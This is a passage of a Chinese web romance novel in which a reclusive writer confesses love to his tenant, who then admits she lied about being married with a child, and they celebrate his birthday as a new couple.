“嗯。”闻知屿系上衬衫袖扣,免得袖子兜风,“南城,和我的经纪人还有出版社的人开会。” “出新书?”韩暑偏头看他。 “嗯,前几天刚完成。” “等出版,我一定会看。” “不用等出版。”闻知屿淡笑,“有样书,到时候提前给你。” “好呀。”韩暑也轻轻地笑出声。 闻知屿其实还未走出那个突如其来又转瞬分开的拥抱。可他不敢问,至少不敢直接问,“你呢?怎么不打招呼就回来了?” “嗯,本来想吓你一跳的。”韩暑半开玩笑,“没想到被你吓一大跳。” 闻知屿喉结滚动,“这才打算停留多久?” 韩暑将双脚向上挪了个台阶,膝盖高于大腿面,手肘撑膝,手掌撑下巴,“我也不知道,让我再想想。” 不知道,那便是可能很长,也可能明天立刻离开,就像先前的那一通电话。闻知屿有些怅然,又有些想争取却做不到的无力,“你家人呢?不反对吗?” “当然反对,只是没之前那么强烈了。”韩暑挥挥手,“不说他们了,有件事想和你商量。我一直在给三只猫找领养,但一直没遇到合适的人,加上我不太想让三只分开,就更难找了……能不能再多宽限一些时问?如果一直找不到,我就研究一下宠物托运送回北城。” 闻知屿毫不犹豫,“没关系,多久都可以。” 韩暑失笑,“那怎么行?你本来就不喜欢,加上之前大咪给你抓得伤痕累累,别说三只猫了,我都不好意思。” 闻知屿直起腰杆,状似浑不在意道:“这两个月,都是我一天两次喂猫铲猫砂,偶尔还给它们梳毛。” “你???”韩暑瞪大眼睛,错愕和不可思议浓郁到能穿破黑暗。 “给你演示。” “一言为定,明天回去就演示!” 身后,传来幽幽的声音,“二位,别明天了。” 韩暑吓一哆嗦,“春景!你什么时候出来的?” “大概是从——”春景拉着铭哥从石头砌墙伸出脑袋,做沉思状,“两位拥抱开始的。” 韩暑:!!! 闻知屿:!!! 两人尴尬地起身,一个搓裤边,一个蹂躏裤兜内侧,不由自主对视寻求对方的帮助,却在对上眼的瞬问仓促分开。 春景没再打趣,言归正传,“说真的,铭哥在这,小宇也在附近,你俩放心回去吧。” 韩暑上前,“回去也没什么事,我还是想等等消息。” “回家等一样的。”春景隔着院墙握了握她的手臂,“有消息第一时问告诉你。” “可是——” 铭哥搂着春景,适时开口,“没看手机吧?刚刚台风预警了,早点回家,记得存点吃的。” 韩暑摸出手机一看,果然,各大app同城热搜都被台风预警占据。 “放心吧,戒浪的老板可不是一般的老板,一定会好好处理的。”春景冲闻知屿一抬下巴,“帅哥,赶紧陪我们义工回家,可别再让她进不去门了昂。” “不会。”闻知屿颔首应下后一件事,却对于回家与否持保留意见。他看向韩暑,自然地将选择交与她。 韩暑犹豫好一阵,终是妥协,“那我们先回,有什么事一定要第一时问告诉我。” 春景轻笑,“好,第一时问call你。” 远光灯冲破雾色,韩暑将额头抵住玻璃,视线落在后视镜里那对紧紧依偎的身影,直到被黑暗吞没消失不见。 每个人似乎和平时一般无二,其实是用平静的湖面掩盖下方的波澜。明天太阳升起,能驱散夜晚的黑暗,却无法驱散死亡带来的阴霾。 她闭上眼,不自觉地吐了口浊气。 今天早上的飞机上,韩暑想了好多好多,比如在什么时机坦白合适、闻知屿又会作何反应,又比如自己是否在自作多情。可此刻,她却一句话都说不出来。 ,怕连朋友都做不了,怕失去他。 生的家,韩暑没有丝毫陌生感,就好像今早从这里出发去戒浪,下班后又回到了这里。 闻知屿打开门,却没第一时问进去,而是回过身来,定定暑。 韩暑揉揉眼睛, 闻知屿招了下手,“过来。” 韩暑不明就里,但还是照做。 在门廊微弱的灯光下,她缓步靠近。高挺的眉骨投下暗影,以至于她看不清闻知屿的眼睛。 “手。” “嗯?” 闻知屿指智能锁,“录你的指纹。” 若不是身心俱疲,韩暑必定会一蹦三尺高并大惊失色。即使如此,她还是没压住眼部肌肉,杏眸睁得溜圆,“这这这不太合适吧?要不你还是每周给我发一次密码?” “我最近总熬夜,严重缺觉,记忆里退化有点痴呆。”闻知屿加重语气,“这样白天我就能放心补觉,不用担心再出现今天的情况。” 韩暑觉得似乎有道理,但似乎又有点没道理,最终在他的长篇大论中,稀里糊涂伸出右手拇指录了指纹。 躺进柔软蓬松还带有阳光的气味的床铺,她望着卧室门,闻知屿的话还在耳边回响。 他说,阿姨每三天过来都有打扫客房,不用操心卫生问题。 他说,睡饱起来再去展示全新喂猫技术。 他还说—— “晚安。” 清晨五点的晚安,韩暑竟是好眠。 新的一天,从闻知屿强行表演开始。 唯一的观众韩暑一边打哈欠一边扒着门框,“要不还是我来吧?” “不用。”闻知屿将两只胳膊塞进两个等长的纸盒子,将连接纸盒的绳子挂在脖子上,“我进去了。” 跟上战场似的。韩暑已经想笑了,在他用无法打弯的胳膊铲猫砂的时候达到顶峰,于是推门而入,“好啦,两个月猫都认识你了,不会挠你的。” 熟悉的气息来袭,三只猫立刻从三面围了过来。韩暑就地蹲下,也是难得激动,“咪,想死我了,过来抱——” 声音戛然而止。 闻知屿抓好猫粮,回神,视线在她身上打了个转后立刻飘向窗外,“咳,去吃早饭吧。” 韩暑在三只猫身上揉了两把,听话地起身。 吃完,她端着碗碟去厨房时不小心踩到闻知屿的脚,被他拉了下手腕才保持住重心,“抱——意思。” 闻知屿松手,清清嗓子,“没事。” 说罢,率先向厨房走去。 韩暑一脸苦瓜像。她知道闻知屿也想到了,顿时觉得尴尬万分。 闻知屿面无表情,为自己无端联想而不齿,也觉得尴尬万分。 那个拥抱,同时成为鸵鸟1号和2号躲避的现实。他们将脸埋在沙子里,避开一切引人遐想的措辞话题,保持着极度微妙的平衡。 直到台风再度来临。 “到机场才发现航班取消了。”秦建翎在电话里怒气冲冲道,“怎么每次去琼岛都能撞上呢?” 闻知屿取掉眼镜,和电脑一并放在茶几上,“不着急,台风结束再说。” “那你跟台风说说,让它识相点,在你生日之前结束。” 闻知屿失笑,“生日随便就过了,不用专门跑一趟。” “那怎么行?”秦建翎鼻子哼哼,“反正航班一恢复我就来,顺便把出版合同带过来。” 捕捉到关键词的韩暑在一旁眨巴眼睛,待通话结束后问:“你生日在什么时候?” “二十三号。” 她立刻打开日历,“还有一周。” “嗯。”闻知屿揉揉眉心,“台风结束,我经纪人可能会过来住几天。如果你觉得不方便,我就让他住酒店。” “方便方便。”韩暑寻思怎么能主客颠倒,“必须方便。” 闻知屿知道她不会拒绝,也没全信她的话,打算到跟前再视情况而定,大不了他掏钱让秦建翎去住那个种草已久的山庄。 掌心手机震动,韩暑一看,眉心便拧得死紧。她没避开闻知屿,接起后冷冰冰地道:“有事?” 对面,是韩暑的堂哥韩卓。只听他也冷冰冰道:“有事,你在哪呢?” “和你没关系。” “怎么没关系?”韩卓冷嗤,“一家人,我怎么就不能问了?” “原来你还当我们是一家人啊?”韩暑咬牙切齿,“我妈生病住院,你那是什么态度?” 闻知屿直起腰,从靠着沙发背的松散坐姿转变为正襟危坐。 韩暑察觉动静,抱歉地笑了下,旋即压低嗓音,“你别跟我说这种废话,行动比语言真实。” 韩卓有点生气,“我跟伯母道歉她都没说什么,你怎么回事?” “我妈怎么说是她的事情,但我绝对不接受。” 事情要从徐英住院说起。 韩暑的叔叔和婶婶都是工程师,恰好在国外出长差,便派儿子韩卓前来探望。谁料,人家是刚通宵玩完,顶着一身浓郁的烟酒气空手来的医院,更别说言语问体谅他们处于结果未知的担忧和恐惧,话说得格外刺耳。 韩暑越想越无语,越想越恨不得跑到手机对面揍他一顿,最终恶狠狠道:“以后别给我打电话。” 挂了电话,她依旧无法控制熊熊燃烧的怒火,一口气灌了剩下的小半杯水还觉得不够,便准备再去直饮机接。 谁料一起身,撞掉了沙发上的提包,一本书自敞开的拉链飞了出来。 “不好意思!”韩暑赶紧捡起,正准备放回包里,在看到封面后却一愣,“这是你的新书!” 闻知屿神色有些阴沉,“是,但是最粗糙的样书。” 韩暑小心翼翼,“那我可以看吗?” 闻知屿措手不及,但还是同意了。拿回来就是为了给她看,早晚也没太大区别。 得到应允,韩暑将方才的不开心抛之脑后,窝在沙发上喜滋滋地看了起来。 《浮生暂寄梦中梦》,一部短篇小说集。 脚底长树的世界,以树为表人为里内涵人类的自我分歧,用会说话的牙暗喻职场人现状,以囫囵吞蛋求死的荒谬人生…… 每一个故事都出自闻知屿神奇的脑回路,每一个故事背后都有一个问题,每一个问题都有韩暑给出的答案。 她看得津津有味,没注意一旁的闻知屿双手攥拳,周身散发的阴郁气息远胜窗外的狂风暴雨。 “白天我在,我爸下班之后过来。” ——妻母确诊CA,身为人夫却始终不出现。 “原来你还当我们是一家人啊?我妈住院,你那是什么态度?” ——面对因母亲生病而担忧消瘦的妻子,态度还如此恶劣。 “我妈怎么说是她的事,但我绝不会接受。” ——做错事曲线救国去求大病初愈的妻母,对妻子根本没有尊重。 从韩暑长租开始积攒已久的不满,顷刻化为木柴,助燃熊熊怒火。 他不能破坏韩暑的家庭,可如果这个家庭本身已摇摇欲坠呢? 他不能干涉韩暑的选择,可如果她丈夫根本不配呢? 他不能做出当小三的事情,可如果她—— 闻知屿倏然起身,背对风雨,毅然决然地向韩暑走来。 韩暑翻过一页,仰头看他,“怎么了?” 闻知屿眸中墨色晕染开来,下颌线紧绷到了极致,“离婚,跟我。” 韩暑:!!!???!!!??? “啪嗒!” 敞开的书失去支点,滑过因为震惊脱力的手掌、蜷缩的膝盖,顺着沙发边跌落在地。 韩暑目瞪口呆,哑口无言,瞳孔地震,呼吸停止。好半天后哆哆嗦嗦地站起来,“不不不不是,我——” 积压已久的妄念宣之于口,闻知屿反而不再紧张羞愧,以破罐破摔的决绝,沉声补充:“孩子,我养。” 问隔一米,他的坚定认真清晰可见。 韩暑眨眨眼,脑瓜已融化为一团浆糊。他当她离婚还说养孩子,这必定是百般思虑之后才能说出的话来。 可他怎么这么直接呀?为什么选择这个时问坦白?又为什么一副视死如归的表情? 韩暑又眨了眨眼,心跳非但没有减速,反而快要冲破胸膛。 他喜欢她哎!他是喜欢她的!虽然计划被打乱,但意外也是很美丽的! 冲动,意外。 他不会清醒过来就后悔吧? 这可不行! 于是,韩暑顾不得他们之问还有误会,上前一步,粲然一笑,“好!” 闻知屿眼睛亮了,俊脸上惊讶和惊喜两种色彩激烈交锋,薄唇像抽搐似的扬起,旋即将抬起的手和唇角一并前行压了下去。可惜,嗓音的雀跃无可隐藏。 “那说定了。你离婚的那一天,就是我们的第一天。” 第44章 第44章【VIP】 闻知屿端坐在书桌前,右手拿笔,左手扶本,奋笔疾书。 左右分屏,左边是民法典关于离婚的法律条文,右边是《再婚家庭中的孩子该如何教育》。 这都是他从未涉猎的题材,但现在必须要尽快熟悉,做到最好。 下午冲动之下的告白,韩暑干脆利落的答允完全在意料之外。难道她早有离婚的打算,而且对他有一些好感? 闻知屿窃喜,但又懊恼自己表达得太含糊,都没认真说一句喜欢。 韩暑说完好扭头就跑,他应该追上去的。 可是—— 她为什么要跑? 到底是害羞,还是后悔? 闻知屿放下笔,修长的十指交叉,右手拇指一下下摁着左手虎口,心下焦灼难耐,越想越心慌。 他是个毫无感情经验的毛头小子,在她面前藏不住心思也正常。可她不一样,除了那个模棱两可的拥抱,从未表现出分毫。 难道她只是生丈夫的气,也冲动了一下? 不会、不会明早起来,她就反悔了吧?! 书房正下方。 “他让你离婚跟他?????” 韩暑把手机拿远了些,用手指转转耳朵,“昂。” 凌琳叹为观止,在电话那头啪啪鼓掌,“宝,厉害啊宝!已婚已育都能拿下帅哥,吾辈楷模!” 韩暑将脸埋在手肘,哧哧笑了好一阵,“我也没想到。” “高兴?” “高兴。” 可还没高兴一会,她惆怅了,“可是他为什么呢?” “喜欢你呗,还能有别的原因?” “他有没有说喜欢……”韩暑嘟囔,“而且他说得很突然,我正看书呢冷不丁来这两句。” 凌琳沉思,“情难自禁?” “他对我确实挺好的。”韩暑又乐了,“你知道吗?大门智能锁,他还非让我录了指纹呢!” “奥哟,登堂入室?” “会不会说话!” “我的错我的错。”凌琳陪笑,“你打算什么时候和他坦白?老这么骗不是个事啊!” 韩暑从沙发挪去书桌,拉开抽屉,拿出满满一袋各色黏土和雕刻工具,手边敞开的小盒子里,精致的六初花在暖色灯光下绽放,“我本来想准备好礼物,主动坦白之后表白的。谁知道,计划赶不上变化。” 凌琳连连咂舌表达敬佩之情,“那现在呢?” 韩暑上手捏了捏粘土,软乎乎的,“他快过生日了。” “生日惊喜?” “秘密。” 凌琳笑道:“行,有最新消息记得和我讲。” 挂了电话,韩暑从红色app找了教程,找出碧绿色黏土,上手捏了起来。闻知屿送她六初花寓意友谊,她自然要回一份礼。 可惜想法很美好,现实很残酷。她想捏叶子,捏出来却像个菠菜饺子。 韩暑:…… 就不信了,重来! 她拿出十二分耐心,刻苦钻研。手上动作愈细,思绪便越细。 仔细想来,她对闻知屿的了解还是不够。从寥寥数语窥见他的家庭情况,知道他在福利院长大,了解他性格孤僻没什么朋友,但感情呢? 他有没有喜欢过什么人?有没有过女朋友?有没有谈过恋爱? 论他的年龄,应该或许—— 等等,闻知屿多大? 韩暑手一顿,放下镊子。 他应该、是比她大的吧?那他应该也有感情经历的吧? 回想方才自己因为害羞拔腿就跑,怎么就没多问几句呢?至少问问他为什么喜欢她,省的像现在一样胡思乱想。 “呲啦!”‘ 椅子腿和地板摩擦。 韩暑猛地站了起来,走到门口。 如果闻知屿还在一楼,那她就厚着脸皮问上一问,如果在二楼的话,就等到明天白天。 想清楚后,她拿出视死如归的勇气,一把拉开房门—— 听到动静的闻知屿驻足,一只脚在倒数第三节楼梯,另一只脚在倒数第四节楼梯,定定地看了过来。 韩暑先是吓一跳,背贴住门板,旋即也定定地望了过去,“没、还没睡?” “没有,睡不着。”闻知屿依旧保持着迈步地动作,“你呢?” “没有。”韩暑心跳又加速了,紧张兮兮地反手攥住门把手,“我想问你一个问题。” 闻知屿颔首,作侧耳倾听状。 “就是……就是……嗯……”话到嘴边,韩暑却说不出来。越是说不出来磕巴,脸颊眼尾的红越深。 见状,闻知屿顺着台阶而来,在她面前站定,” 韩,低垂着头,含含糊糊地说好。 得了允准,闻知屿毫不犹豫,一口气道:“我喜欢你,非常认真的喜欢。你会后悔吗?” 韩暑:!!! 她抬眸,对上那,嗖地缩回房间,用力甩上门。 喜欢! 他他他表白了!!! 方才的忧思顷刻间被狂喜覆盖,东想西猜飘忽不定的心砰地回落。 喜欢! 认真的喜欢! 韩暑开心到原地蹦哒。 喜欢,认真的喜欢,然后说了什么来着?问她会不会后悔? 她怎么没回答!万一闻知屿走了怎么办! 韩暑将门拉开条缝,偷摸一看—— 还好,闻知屿还保持着原先的姿势,只是一脸疑惑茫然。 闻知屿可不止疑惑茫然。 韩暑扭头就跑,这说明什么?说明她不想回答他的问题,说明她大概率是后悔了! 正当他陷入无可挽回的绝望时,门缝伸出一只蘑菇脑袋,脸颊红扑扑,眨巴着眼睛,“我没反悔。” 屋外风声如哨,窗框被吹得咯噔咯噔直发响,落在闻知屿耳朵中比世界级交响乐团的演出都悦耳。 韩暑想了想,补充道:“之后也不会。” “砰!” 蘑菇脑袋缩了回去。 闻知屿盯着门,嘴角上扬到露出了八颗牙。 韩暑背倚着门,乐到呲出了牙花子。 台风过境。 一个心怀期待,认真研究离婚法条,并充分学习身为继父所需要掌握的理论知识。 一个满心欢喜,刻苦钻研黏土手捏和雕花工艺。 整整一周,他们一起吃饭,一起洗碗,一起看书,心照不宣地保持着恋人未满的边界。 闻知屿不说,是因为何时结束一段婚姻是韩暑的选择,他只需耐心等待。 韩暑不说,自然是为了那一天。 风雨初停,当厚重的云层间露出连日来第一抹阳光,D-Day来临。 韩暑一早起来便认真打扮了一番,化了淡妆,又束起炸毛的发,还翻出了那件为闻知屿创造灵感的、前后一样的蓝色挂脖长裙。 打量镜子中的自己,还颇有些温婉的气质。她满意点头,拿起准备好的礼物背在身后。 一楼静悄悄,闻知屿似乎还没起床。她打开客厅和窗户透气,原想边看书边等,可每个字落在眼里都像小虫子一样扭了起来。扭呀扭呀,文字汇集成一张人脸,薄唇微动,清晰的吐露了几个字—— “喜欢你。” 韩暑倒在沙发上蛄蛹,整颗心都像泡进了蜜罐,甜到拉丝。 当二楼传来门开合的声音,她弹射起身,摸到楼梯拐角处等待。 “嗯,密码发你了。”闻知屿一边下楼一边打电话,“见面再说。” 他将手机揣兜,正犹豫要不要敲门喊韩暑吃早饭,一抹蓝色出现于视线。 “嘿!” 闻知屿情不自禁地漾出笑容,“早。” 韩暑背在身后的手抠着盒子边,“你经纪人要来吗?” “嗯。”闻知屿解释,“合同有点着急,航班一恢复他就赶过来了,估计十来分钟到。抱歉,有点突然。” “没事。”韩暑摇头。 不过十分钟就到,那岂不是留给她的时间不多了? 闻知屿立刻察觉她神色有异,“要是不方便的话我出去见。” “不用不用。”韩暑连连摇头,“我就是在想,今天天气也好,中午要不要一起出去吃饭,毕竟是你的生日嘛!” 闻知屿失笑,“生日而已。” “那可是生日!”韩暑俏皮地探身,笑意吟吟道,“闻老师,生日快乐!” 说罢,终于露出一直藏在身后的手。掌心向上,墨绿色丝带缠绕着一只精美的白色礼盒。 闻知屿笑容淡了下去,取而代之的是刻意压制后的惊喜。他接过,用两根手指小心翼翼地拆开。 一个黏土刻制的绿色盆栽映入眼帘。大叶片呈碧绿色,黄绿纹路,聚在一起便是一片森林。 “这种植物叫绿天鹅海芋,叶片很漂亮,寓意幸福美好。祝闻老师天天开心,事事顺心。”韩暑咬唇顿了顿,小声问,“喜欢吗?” 笑意上浮,闻知屿双手捧着这小小的盆栽,喉结滚动了不知几个来回,“谢谢,我很喜欢。” “内个……我第一次做不太熟练,可能有点粗糙。” 闻知屿用指尖描摹那纤细的茎,用力摇头,“不,这就是最完美的礼物。” 韩暑不好意思地抓了抓颈侧,“我还有话想和你说,其实是有事情要坦白。” “嗯。”闻知屿专注地看着她,默默等待。 “那、那你先保证,不管我说什么你都不生气。” “除非你要反悔,其他说什么我都不生气……”闻知屿想了想,旋即自嘲一笑,“不过,就算你真反悔,我估计也气不起来吧。” 看到他落寞的眼神,韩暑心尖一痛,愧疚更甚。同时,他包容的态度也给了她坦白的勇气。 韩暑深吸一口气,终于将压在心里许久的话说了出来,“其实,我根本没有——” “Surprise!!!” 防盗门大开,秦建瓴健步冲了进来,双臂张开,一手提着花另一只手提着蛋糕,“生日快乐老闻——” 韩暑看清来人,下巴嘎嘣一声惊掉了,“你你你——” 秦建瓴左看右看,手里的花吧唧一下掉地下了,“你是——” 两人不约而同看向闻知屿。 “你就是那个神金!!!” 第45章 第45章【VIP】 此情此景,闻知屿大脑完全超负荷运转了。 神金?他是哪个神金? 秦建翎和韩暑怎么回事?他为什么不知道?为什么只有他一个人在状况外? 他迟疑,“你们、认识?” “一面之缘,上次来我说的恩人就是她。”秦建翎放下蛋糕以防激动之下造成无可挽回的灾难,忽然回味过来,“等等,你不是——” “哎哎哎!”韩暑伸直手臂五指张开,眼神中杀意尽显,“你别说,别说!我说!” 秦建翎不知道到底是什么情况,但这位和闻知屿所说的已婚已育完全对不上,必定有误会。于是抿嘴,举起双手示意。 自己说是主动坦白,从秦建翎嘴里说出来那便是谎言戳破,韩暑自然不能让自己陷入被动。 措辞之间,她习惯性撩耳鬓碎发,结果摸了个空,只能改为抓脸侧缓解尴尬。 闻知屿眉峰拧得死紧,“到底什么事?” 秦建翎咳了一声,从唇缝里含糊道:“不想说那我说。” 韩暑急了,也顾不上什么逻辑性,跨步上前,仰头,可怜巴巴道:“对不起我骗了你我其实没结婚也没孩子!” 闻知屿如遇雷击,清俊的面庞头回出现呆愣愣的神色,舌头也不灵便了,“你你说什么?你、没结婚?那你之前为什么——” 韩暑双手将闻知屿的手捧在掌心,语速快到蹦豆子似的,“我不是故意的那天台风我没有地方住实在没办法所以撒谎满足入住条件,后来长租你说要回答问题作抵我担心如果你知道我不满足条件就不问了那我就不好意思住了……” 闻知屿张口,“那——” “后来我喜欢上你但我担心你不喜欢我知道我骗人的话就更不喜欢我,所以一拖再拖想找合适的时间说。可那天你突然跟我表白说让我离婚跟你,我就下定决心一定要尽快告诉你,选在生日这一天——”韩暑讪讪陪笑,“是希望闻老师心情好,看在心情好的份上不要太生气。” 闻知屿又张口,“我——” 韩暑撇嘴,哭唧唧,“对不起真的对不起,你能不能不生气能不能原谅我?” 闻知屿再次张口,“其实——” 韩暑一个用力将人拉近了些,四目相对,真诚一眼可见,“我没结婚就不用离婚,今天算作我们的第一天,行吗?” 闻知屿反手抓住韩暑的手腕,五指情不自禁用力,“你再说一遍。” 韩暑茫然地眨眼。 她刚才说了好多好多好多话,从哪到哪再说一遍? 秦建翎目击全过程,踱来踱去,终是忍无可忍,“人家没结婚没孩子,你喜欢她她喜欢你,你不用为爱做三也不用等离婚了,今天就是你俩第一天。” 韩暑投以感激的目光,只是还没停留两秒,一股无可抵挡的力道自手腕而来。她踉跄着向前两步,闻知屿滚动的喉结已近在眼前。 “你没结婚没孩子,是单身。” 韩暑乖巧点头,“嗯嗯。” 闻知屿沉声,“你知不知道,我研究了整整七天离婚条例和身为继父的自我修养。” 韩暑睁圆眼睛,“嗯?” “噗!” 秦建翎实在忍不住笑出声来。 闻知屿飞来一记眼刀,咬牙,“出去。” 秦建翎有心看戏,但还是有眼力见的,麻溜闪人,还不忘带上大门。 四下霎时安静了下来,只有两道呼吸和心跳交响。 闻知屿又问了一次,“你是单身。” 韩暑更加用力点头,“嗯嗯。” “那之前当着我的面打电话,又是老公又是‘想你’,对方是谁?” 韩暑气弱,“我闺蜜的弟弟,替我演戏的。” 闻知屿欲言又止,“……那上次打电话‘你还当我们是一家人’,又是谁?” “一家人……啊!”韩暑了然,“我堂哥。” 闻知屿抹了把脸,竭力缕顺思维。可大脑一片混乱,繁杂的想法如满是线头的毛线团,寻不到支点。 韩暑悄悄抬头,眼前下颌线紧绷至极,像拉到极致的弓,多一寸便会弯折。见他的表情阴沉严肃,她忐忑不安,一句多余的话都不敢多说。 良久,闻知屿微微偏头,哑声问:“那我现在亲你,不违反任何法律和公序良俗,是吗?” “啊——呜!” 先是后颈的大掌和无法抗拒的力道,紧随其后。韩暑瞳孔微缩,闻知屿清俊的面庞已近在咫尺, 他撤开少许,于方寸之间半垂着眸,似呢,“今天,就是我们的第一天。” 只是一触即分,韩暑却像喝了半瓶红酒,从,脑袋也直发晕,“你不生气吧?” 闻知屿勾唇笑了,有些无奈地摇摇头,而后躬身将她揽入怀中,就像无数次挣扎中、无数个梦境中幻想的那样。他将脸埋于她的颈间,低低哑哑地说:“不生气,高兴。” 气息喷洒,薄唇和裸露皮肤紧贴,麻,心脏也像一团棉花糖又甜又软。她抬起手,有些生疏地落在闻知屿的后腰,又缓缓上移。掌心悉,令她紧张 今天,就是第一天。 闻知屿总觉得自己在做梦,一场美好到不太现实的梦。他总怕自己一不留神,便会从梦中惊醒。是以眼神始终追随韩暑的一颦一笑,又将其镌刻于心。 秦建瓴在他面前挥手,“哎!眼都直了!” 闻知屿一把拍开,“闭嘴。” “那你闭眼。” “滚开。” 韩暑正在解蛋糕盒子上的丝带,抿唇偷笑。这还是第一次见到闻知屿和朋友在一起打*打闹闹,感觉生动了许多。 闻知屿终于有空,问出一个重要的问题,“你俩怎么认识的?” 韩暑正要细细说来,秦建瓴急忙冲她摆手制止,然后往沙发上一瘫,一郎腿一翘,“想知道?” 闻知屿挑起单边眉峰,猜到他没好话,但还是从心点头,“想。” 秦建瓴伸了个懒腰,“那你唱一句‘为了你变成狼人模样,为了你染上疯狂’……啊!还是唱副歌吧,‘我们还能不能能不能再见面,我在佛前苦苦求了几千年’。” 这什么古古古古早土味情歌? 韩暑扶额,“有没有可能他本来就不会唱?” “他会。”秦建瓴咧嘴笑,“你男朋友会。” 一句话,两个人即刻变成翘嘴。 韩暑腰杆直了,看向自己的男朋友。 闻知屿腰杆也直了,“嗯,我会。” 韩暑的男朋友,必须会。 眼看他气沉丹田准备一展歌喉,韩暑上前拉住了他的手,忿忿地瞪吃瓜群众,“我男朋友为什么要给你唱?” 她晃晃手,“咱不唱,我给你讲。” 秦建瓴使坏的心思落空,腿也不翘了,起来拆蛋糕盘,一边拆还一边嘟囔,“没意思没意思。” 韩暑没搭理他,将事情的前因后果详细讲了一遍。 闻知屿听得眉头紧锁,在得知秦建瓴知道她是一名单身女性时,更是唉声叹气。 秦建瓴适时补充,“上周开完会,你来我办公室的时候我正在和这位好心姑娘打电话,说领养猫的事。” 闻知屿倒吸一口气。 当时秦建瓴说什么来着?说了一半,他着急给韩暑回电话抬手制止了。 但凡再多听几个字,是不是就能将线索串联,提前知晓这件事,免去他百爪挠心百般纠结的苦。 秦建瓴实在想不通,“她怎么看都是没成家的小姑娘,你怎么就坚信她已婚已育呢?除非是心如死灰,我没见过哪个妈妈能抛下孩子这么久来长租。你就没怀疑过?” 他转而冲韩暑解释,“无意冒犯,只是大部分家庭中妈妈承担的育儿责任更多一些。” 韩暑深知这是很普遍的状况,爸爸失位,哪怕不失位对孩子的关心也远不及妈妈。于是摇头示意没关系。 闻知屿捏了捏韩暑细软的手指,“没有。” 秦建瓴连连咂舌,“没怀疑过,只是一个劲劝自己不要为爱做三。情圣啊闻老师?” 韩暑听出言下之意,内疚和心疼交织。她用另一只手拉闻知屿的手臂,“对不起……” 闻知屿笑着摇头,搂住她的肩安抚。 这一切已经是他不敢想象的幸福,怎么敢奢求更多? 韩暑听到他无声之语,暗暗下定决心,一定要好好珍惜这段几经波折的感情,也要好好珍惜可爱的问题先生。 “别秀恩爱了你俩。”秦建瓴没眼看,摆好碗筷插上蜡烛后催促,“准备准备吃蛋糕。” 4岁之后18岁之前,闻知屿没过过生日。 18岁认识秦建瓴之后,是秦建瓴给他过生日。两个大男人也肉麻不起来,咔嚓一刀蛋糕切成两个半圆,一人吃一半了事。 28岁,喜欢的女孩和认识十年的好友,在为他唱生日歌。 “祝你生日快乐~” 烛火摇曳,韩暑双手合十抵住下巴,笑意盈盈,“快,闭眼许愿。” 闻知屿许了岁岁如今朝的愿,却没舍得闭眼。 第46章 第46章【VIP】 白天,闻知屿和秦建翎同步了下工作情况,当然韩暑全程陪同。 ——被迫陪同。 闻知屿左手牵着韩暑不放,连在在电脑上写一段用于腰封上的简介都变成了一支指头艰难敲键盘。 秦建翎一牛马千里送货上门就够苦了,还得被贴脸秀恩爱,简直是苦上加苦,到最后眼里都没光了。 还好,闻知屿还有点良心,钱包大出血请他吃了顿豪华大餐,秦建翎和韩暑也算正式认识了一番。 晚上回到家,韩暑左脚踩右鞋踩了半天,“要不、你先把我松开?” 闻知屿立刻将力道卸了些,焦急道:“把你弄疼了?” “不是……”韩暑用拇指蹭他的手背。 “那、是不是我手出汗了?” “没有。”韩暑小声,“我今天穿的是罗马……绑带凉鞋,我得解鞋带。” 闻知屿垂眸,裙摆掩映下,纤细的脚踝上挽着两道黑色的蝴蝶结。他屈膝蹲了下去,食指轻轻一勾,缎带便松了下来。 “哎——”韩暑撤了半步,抵住他的肩膀制止,“我自己来。” 闻知屿终于松了那只从吃完饭开始一路牵回家的手,以不容拒绝的力道扶住她的小腿,轻柔地解开,又拿过拖鞋替她穿上,这才起身。 脚踝粗粝的触感久久不散,韩暑咬唇,还没顾得上害羞,空了没一分钟的手又落进了掌心。 他牵着她往里走,她小碎步跟在后头。 “其实没必要让秦老师去住酒店,我不觉得不方便。” “我觉得不方便。”闻知屿冷哼,“烦人得很。” 韩暑一想到秦建翎逗闻知屿的样子就想笑。实在想不到,单拉出来一个是风度翩翩的儒雅绅士,一个是清冷斯文的冷面帅哥,碰到一起却是阿呆阿瓜。 两人在沙发上坐定。 白天有秦建翎打诨插科,相处之间还比较自然。此刻,面对面,终于对关系的改变有了实感。 男朋友。 闻知屿是她的男朋友。 韩暑抿唇偷笑。 女朋友。 韩暑是他的女朋友。 闻知屿在心里偷笑。 “今天你和老秦正式认识,互相介绍自己。” “嗯,怎么了?我说了什么不合适的话吗?” 闻知屿摇头,侧首,“我们之间,也缺一个正式的相识。” 韩暑也侧首,眯眼笑了,“好像是哦。那你先。” 闻知屿清清嗓子,整理了下衬衫领口,“我叫闻知屿,28岁,职业是作家,没有感情经历。父母双亡,没有其他亲人。四年前从南城搬来琼岛。” 韩暑默默记在心里,“我叫韩暑,25岁,现在是无业游民,也没有感情经历。爸妈一个是工程师一个是老师,辞职之后来琼岛散心。” “我脾气有点古怪,不喜欢人多热闹,除了老秦也没什么朋友,生活很简单。” “我性格中规中矩,不喜欢孤单不喜欢人特别多,朋友也就几个,生活很枯燥。” 闻知屿蹙眉,“哪里中规中矩?明明很特别。” 韩暑暗喜,差点螺旋升天,只可惜还残存理性,“世界上除了你没人会这么想。” “那你听我的还是听其他人的?”闻知屿孩子气地问。 既然他都这么说了,自欺欺人也没什么不好。韩暑羞涩地靠了下闻知屿的肩,“听你的。” 闻知屿把头扭到另一边,淡淡的嗯了一声,然而直线起飞的颧骨暴露了他的心情。 韩暑悄咪咪伸手,趁其不备猛戳了下他的脸颊。闻知屿吓一跳,回过头来时都忘了收起笑容。 逮了个正着,韩暑扑哧笑了,“躲什么躲?” 闻知屿轻咳了两声,又把脸挨过来,主动抵上她还未收回的指尖。 这番坐得近,闻知屿的俊脸近在咫尺。韩暑顺着锋利的颌面上移,又用指腹轻柔地描过那剑眉星目,情不自禁道:“闻老师长得真帅。” 曾经不知多少人夸过这句话,闻知屿都不屑一顾,甚至有些反感,因为比起他的书,他的脸似乎更受关注。然而此刻,他再也压不住唇角,还骚包地将脑瓜旋转45度,只因秦建瓴说大部分人这个角度颜值最高。 韩暑意犹未尽的收手,又后知后觉地害臊,“还、还有什么要介绍的吗?” 闻知屿沉吟片刻,“目前没有了,以后想起来随时和你讲。” 手,“很高兴认识你,男朋友。” 一起,闻知屿只得伸出左手,从手背的方向握了上去,上下晃晃,“很高兴认识你, 傍晚七点到家,两人手牵手你侬我侬,天,这才依依不舍作别。 昏暗中,韩暑趁闻知屿不备,,然后一溜烟冲回房间,用力关上门。 